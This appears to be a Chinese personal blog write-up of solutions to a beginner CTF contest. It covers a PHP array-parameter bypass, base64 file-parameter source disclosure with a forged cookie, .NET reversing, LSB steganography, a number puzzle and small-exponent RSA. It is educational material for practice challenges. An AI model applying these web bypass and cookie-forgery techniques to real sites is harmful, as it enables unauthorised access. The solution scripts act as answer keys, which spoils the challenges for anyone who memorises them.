第四届世安杯酱油记

​ 给21号的校赛练练手。 @kurum 主攻web,@a-lie-Z 主要负责misc和steganography,我试了下有思路的题,下面是我找到的flag(emmm,为什么不说是我做出来的题呢?)@a-lie-Z 做的题:传送门 ,以及 @kurum 做的题:传送门

ctf入门级题目

​ 戳进去看发现有源码,放一下php代码:

1
2
3
4
5
6
7
8
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}

​ 第一个if要求password 必须为数字和字母,第二个if要求子串中得有”–”,看上去有点矛盾,而输入数组会使ereg函数发生错误,返回false,因此可以通过第一个if,而字符数组同样会使得strpos函数出错返回Null,与严格的FALSE不符,这样就能通过第二个if判断。于是构造url 为

http://ctf1.shiyanbar.com/shian-rao/password[]=xxx

这样就能绕过了。

曲奇饼

​ 嗯,名字貌似提示需要构造cookie。打开题目链接后发现url有点奇怪:http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=a2V5LnR4dA==

后面那个

file=a2V5LnR4dA==

有点像base64,解密一下后发现是key.txt,然而这里并没有什么,改了line参数也没什么鸟用。于是考虑获取真正index.php,去掉后面的参数后发现依旧会重定向到这里,然后考虑加参数,受key.txt的提示,我把index.php用base64加密后传了上去 http://ctf1.shiyanbar.com/shian-quqi/index.php?line=&file=aW5kZXgucGhw

发现什么都没有,试着把line改成1,输出了

error_reporting(0);

改成2试试

$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");

嗯,啥也别说了,写python,获取完整的php代码,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}

​ 嗯,果然和名称暗示的一样,构造cookie,传入'key'='li_lr_480',再把$file改成thisis_flag.php的base64形式即可。python代码如下:

1
2
3
4
5
6
7
import requests
cookie = {'key':'li_lr_480'}
for i in range(50):
url="http://ctf1.shiyanbar.com/shian-quqi/index.php?line="+str(i)+"&file=dGhpc2lzX2ZsYWcucGhw"
ans = requests.get(url, cookies=cookie)
print ans.text

拿到flag。

console

​ 用PEiD打开后发现是.net框架,用ILSpy,打开,把重要文件的代码整合,核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
internal class MM
{
private static int C(int A_0, int A_1)
{
return (new int[]
{
2, 3, 5, 7, 11, 13, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71
})[A_1] ^ A_0;
}
private static string flag(string A_0)
{
byte[] bytes = Encoding.ASCII.GetBytes(A_0);
return "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";
}
private static void count(string A_0, int A_1, ref string A_2)
{
int num = 0;
if (0 < A_0.Length)
{
do
{
char c = A_0[num];
int num2 = 1;
do
{
c = Convert.ToChar(MM.C(Convert.ToInt32(c), num2));
num2++;
}
while (num2 < 15);
A_2 += c;
num++;
}
while (num < A_0.Length);
}
A_2 = MM.flag(A_2);
}
private static void main(string[] A_0)
{
string b = null;
string value = string.Format("{0}", DateTime.Now.Hour + 1);
string a_ = "CreateByTenshine";
MM.count(a_, Convert.ToInt32(value), ref b);
string a = Console.ReadLine();
if (a == b)
{
Console.WriteLine("u got it!");
Console.ReadKey(true);
}
else
{
Console.Write("wrong");
}
Console.ReadKey(true);
}
}

c#脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
using System;
using System.Security.Cryptography;
using System.Text;
namespace ConsoleApplication1
{
class Program
{
static void Main(string[] args)
{
string a = "[j}yl}ZaL}vkpqv}";
byte[] bytes = Encoding.ASCII.GetBytes(a);
string b = "flag{" + BitConverter.ToString(new MD5CryptoServiceProvider().ComputeHash(bytes)).Replace("-", "") + "}";
Console.WriteLine(b);
Console.ReadLine();
}
}
}

​ 本机没配c#环境,随便找个在线网站跑就OK。

low

​ 打开后发现是一张图片,看通道没什么反应,分析也没什么头绪。但从名字来看,可能是要把低位的0都获取出来,然后拼图,用python跑一下试试(matlab本机没有环境,线上貌似没法上传图片)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import Image
def foo():
im=Iamge.open('low.bmp')
im2=im.copy()
pix=im2.load()
width,height=im2.size
for x in xrange(0,width):
for y in xrange(0,height):
#LSB
if pix[x,y]&0x1==0:
pix[x,y]=0 #黑
else:
pix[x,y]=255
im2.show()
pass
if __name__ == '__main__':
foo()

貌似成功了,可以得到一张图片,左上角有一个二维码,反色扫一下即可。

珍妮的QQ号

​ 下载是个压缩包,解压后就是一个txt文件,里面的内容:

1
珍妮换了一个新的QQ号码,原来的号码和新的号码都是5位靓号哦;其次,新的号码是原来号码的4倍,并且原来的号码倒着写正好是新的号码,请问,新号码是多少,新号码即为key。

很简单的编程题,直接上c代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
int main ()
{
int n;
for(n = 10001;n <= 25000;n++)
{
if((n * 4) == MyFunction(n)) printf(" %d ",n * 4);
}
return 0;
}
int MyFunction(int number)
{
int k, fig=0, i, j, num, sum=0;
k=number;
while(k!=0)
{
++fig; //fig用来保存输入的数的位数
k /= 10;
}
for(i=0; i<fig; i++)
{
num = number % 10; //求余数
for(j=0; j<fig-i-1; j++)
num = num*10; //余数乘上所对应的的10的次方
sum = sum + num;
number /= 10;
}
return sum;
}

跑出来结果是87912.

RSA

​ 打开是一个message.txt文件,里面写着:

1
2
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143

RSA的具体原理还不是很懂,大概说的就是公钥私钥什么的,把c复制到google然后。。。就搜出了flag。。。(→_→这线上赛的题也是够了,然后发现,其他有些题也能搜出来,无语了。。。)

贴一下大佬的话:

Nietypowa rzecz jest taka, ze wykładnik szyfrujący nie jest podany i c jest bardzo małe w porównaniu do n. To sugeruje że może e było tak małe że m^e nie przekroczyło n, albo tylko nieznacznie. Żeby to sprawdzić postanowiliśmy policzyć k-te pierwiastki całkowite dla c w poszukiwaniu e:

以及求解代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import gmpy2
from src.crypto_commons.generic import long_to_bytes
def main():
c = 2044619806634581710230401748541393297937319
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
for i in range(2, 10):
root = gmpy2.iroot(c, i)[0]
if root**i == c:
print(i, long_to_bytes(root))
main()

然后flag为so_low ,呃,RSA很low吗? 喵喵喵?

(比赛虽然有点水,但自己更水,ctf还是适合作为普及知识面的竞赛)